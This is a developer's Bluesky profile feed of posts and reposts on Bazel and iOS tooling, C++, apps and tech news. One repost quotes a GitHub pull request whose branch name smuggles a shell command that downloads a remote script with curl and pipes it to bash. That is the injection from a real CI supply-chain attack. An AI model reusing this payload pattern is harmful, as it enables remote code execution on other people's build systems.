Sign in

Keith Smiley

@smileykeith.bsky.social
387 followers 240 following 17 posts

devx at Modular, maintainer of bazel's iOS support, creator of the Mobile Native Foundation, LLVM & Swift contributor. Previously Principal Engineer at Lyft, Core Team @CocoaPods

PostsRepliesMedia
Keith Smiley @smileykeith.bsky.social · 11/02/2026
Are there any Linux friendly laptops with a trackpad anywhere close to MacBook quality?
110
Reposted by Keith Smiley
bitdrift @bitdrift.io · 15/12/2025
🎙️ New Beyond the Noise ep! @smileykeith.bsky.social (“Bazel Keith"), talks Bazel, iOS tooling, and his journey from CocoaPods ➡️ Lyft ➡️ Modular. Catch war stories of compiler bugs, dealing w/large Swift codebases, plus, why Apple/Google don’t solve many DX problems 👀 bitdrift.io/podcast/beyo...
bitdrift.io
beyond the noise - Bazel Keith and the Quest for Better Builds
Matt Klein sits down with Keith Smiley, aka “Bazel Keith,” to talk all things Bazel and iOS tooling. Keith shares how hacking on Objective-C in high school, contributing to CocoaPods in college, and j...
143
Keith Smiley @smileykeith.bsky.social · 17/06/2025
This is horrible. Be careful what you type in to text boxes on the internet! www.404media.co/meta-invents...
404media.co
Meta Invents New Way to Humiliate Users With Feed of People's Chats With AI
In an industry full of grifters and companies hell-bent on making the internet worse, it is hard to think of a worse actor than Meta, or a worse product that the AI Discover feed.
020
Keith Smiley @smileykeith.bsky.social · 05/06/2025
Poolsuite FM just got a redesign and it continues to be the most fun iOS app design out there apps.apple.com/us/app/pools...
apps.apple.com
‎Poolsuite FM
‎Poolsuite FM is the ultra-summer music player for Macintosh Computer; transporting you to a virtual vacation where the sun never sets. Formerly
020
Keith Smiley @smileykeith.bsky.social · 26/05/2025
"The CIA Secretly Ran a Star Wars Fan Site" www.404media.co/the-cia-secr...
404media.co
The CIA Secretly Ran a Star Wars Fan Site
The site, starwarsweb.net, was a covert CIA communications tool. It has pictures of Yoda and C-3PO on it.
031
Reposted by Keith Smiley
Steve Klabnik @steveklabnik.com · 06/05/2025
github.com/dtolnay/buck... Build #rust via buck2 instead of x.py, very cool project by @dtolnay.bsky.social
github.com
GitHub - dtolnay/buck2-rustc-bootstrap: Compile Rust compiler using Buck2
Compile Rust compiler using Buck2. Contribute to dtolnay/buck2-rustc-bootstrap development by creating an account on GitHub.
0424
Reposted by Keith Smiley
Riley Testut :fatpikachu: @rileytestut.mastodon.social.ap.brid.gy · 02/05/2025
App Store Guidelines have been officially updated, so I just submitted a new Delta update without all the external payment restrictions! Goodbye scare screen 👋
App Store Connect submission screen for DeltaExternal purchase scare screen for Delta:

You're about to go to an external website.
Apple is not responsible for the privacy or security of purchases made on the web.

Any accounts or purchases made outside of this app will be managed by the developer
"Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.New Patreon donation screen in Delta with button to directly donate to our Patreon
0202
Keith Smiley @smileykeith.bsky.social · 24/03/2025
I wrote up a post on how to use `bazel query` to find unused targets www.smileykeith.com/2025/03/24/u...
smileykeith.com
Finding unused targets with bazel - Keith Smiley
030
Keith Smiley @smileykeith.bsky.social · 11/03/2025
The blink is so delightful
020
Keith Smiley @smileykeith.bsky.social · 15/02/2025
Awesome! Lmk how it goes if you do test with zstd too. I made a note to test it next week
000
Keith Smiley @smileykeith.bsky.social · 15/02/2025
Yea great point, I really should. I tried zstd in my testing but ended up not going with it just because the llvm releases dynamically link it and I didn't want to update the docker image I was using to include that 🙃
100
Keith Smiley @smileykeith.bsky.social · 15/02/2025
Very satisfying
The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked
070
Keith Smiley @smileykeith.bsky.social · 14/02/2025
I wrote up a quick post about how compressed debug info with C++ saved a ton of bandwidth w/ bazel's remote cache www.smileykeith.com/2025/02/14/c...
smileykeith.com
Bazel caching and compressed debug info - Keith Smiley
130
Reposted by Keith Smiley
Michael McGuire @monocularvision.bsky.social · 11/02/2025
1Password has gone from being one of my favorite Mac apps to receiving marketing emails informing me they are the “Official Cybersecurity Partner of Oracle Red Bull Racing”
1121
Reposted by Keith Smiley
NeoNacho @neonacho.bsky.social · 01/02/2025
We open sourced Xcode’s build system github.com/swiftlang/sw...
github.com
GitHub - swiftlang/swift-build: A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager
A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager - swiftlang/swift-build
29433
Reposted by Keith Smiley
Brian Phillips @brianphillips.lol · 30/01/2025
If you wanted no leaks you should have gone into Settings -> Security -> Configure privacy & security -> Privacy options -> Other -> Configure -> Media interface and clicked “Disallow.” The Leak setting is on by default but we understand your privacy is important so we’ve made it easy to opt out
824315275433
Keith Smiley @smileykeith.bsky.social · 27/01/2025
If you need some joy in your life, I highly recommend Any Austin on YouTube www.youtube.com/watch?v=gGDy...
youtube.com
Unremarkable and odd places in Breath of the Wild
YouTube video by Any Austin
030
Reposted by Keith Smiley
Jordan McQueen @jm.dev · 22/01/2025
Rust Software Engineering internship (3 months). We can bring you to Tokyo, Japan from overseas. Can start from June or from August.
woven.toyota
Careers - Woven by Toyota
Woven by Toyota innovates and invests in new technologies, software, and business models that transform how we live, work, and move.
22115
Reposted by Keith Smiley
Making a free cycling game @dfeldman.org · 25/12/2024
You’re still arguing about tabs vs. spaces? May I present…
Code written with box characters used on old old software to make fake UIs
15652611265
Keith Smiley @smileykeith.bsky.social · 24/12/2024
Really fun coding font bracket: daringfireball.net/linked/2024/...
daringfireball.net
Coding Font Selection ‘Tournament’
Link to: https://www.codingfont.com/
000
Keith Smiley @smileykeith.bsky.social · 23/12/2024
It's wild that I can leave my 3d printer alone for 24 hours without checking on it but I can't print 1 photo with my photo printer without it fucking up
000
Keith Smiley @smileykeith.bsky.social · 22/12/2024
Finally someone figured out what sketchy thing the Honey browser extension is doing www.youtube.com/watch?v=vc4y... If you have this installed, uninstall it ASAP.
youtube.com
Exposing the Honey Influencer Scam
YouTube video by MegaLag
020
Reposted by Keith Smiley
Steve Klabnik @steveklabnik.com · 18/12/2024
C++ standard tooling papers have been withdrawn: * ISO politicking over licensing * "WG21 prioritized profiles above the tooling ecosystem work." www.reddit.com/r/cpp/commen...
reddit.com
WG21, aka C++ Standard Committee, December 2024 Mailing
3333
Reposted by Keith Smiley
Neovim @neovim.io · 12/12/2024
#neovim Development News The 0.11 version will have a more straightforward way to set up LSP servers: - `vim.lsp.config` to configure. - `vim.lsp.enable` to set up automated start. - Special 'lsp/' directory for passive config discovery (similar to 'ftplugin/') PR: - github.com/neovim/neovi...
github.com
feat(lsp): add `vim.lsp.config` and `vim.lsp.enable` by lewis6991 · Pull Request #31031 · neovim/neovim
Problem Setting up LSP clients require unnecessary boilerplate. LSP configuration has no system. Solution Add vim.lsp.enable() and vim.lsp.config(). Design goals/requirements: Default configurat...
3927
Reposted by Keith Smiley
Julia Evans @b0rk.jvns.ca · 12/12/2024
"rules" that terminal programs follow jvns.ca/blog/2024/11...
2346061
Reposted by Keith Smiley
Ben Sandofsky @sandofsky.com · 11/12/2024
Unboxing an App Store Award. #ShotWithKino www.youtube.com/shorts/lF-fl...
youtube.com
Unboxing an Apple App Store Award #shotwithkino #unboxing #apple
YouTube video by Ben Sandofsky
1623
Reposted by Keith Smiley
Matt Keeter @mattkeeter.com · 06/12/2024
absolutely incredible attack vector
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
16939255
Keith Smiley @smileykeith.bsky.social · 27/11/2024
I finally upgraded my work Mac to Sequoia and now after ~1 minute I can't type in tmux. What's the state of downgrading these days? 😬
000
Keith Smiley @smileykeith.bsky.social · 26/11/2024
"The two factions of C++" is a great read: herecomesthemoon.net/2024/11/two-...
herecomesthemoon.net
The two factions of C++
The dream of a single dialect-free C++ has probably been dead for many years, anyway.
11510
Keith Smiley @smileykeith.bsky.social · 24/11/2024
www.theguardian.com/lifeandstyle...
110
Reposted by Keith Smiley
Kelsey Hightower @kelseyhightower.com · 20/10/2024
Today was my last post on Twitter. I'll be using this account going forward while I contemplate the value of social media in my daily life.
64127649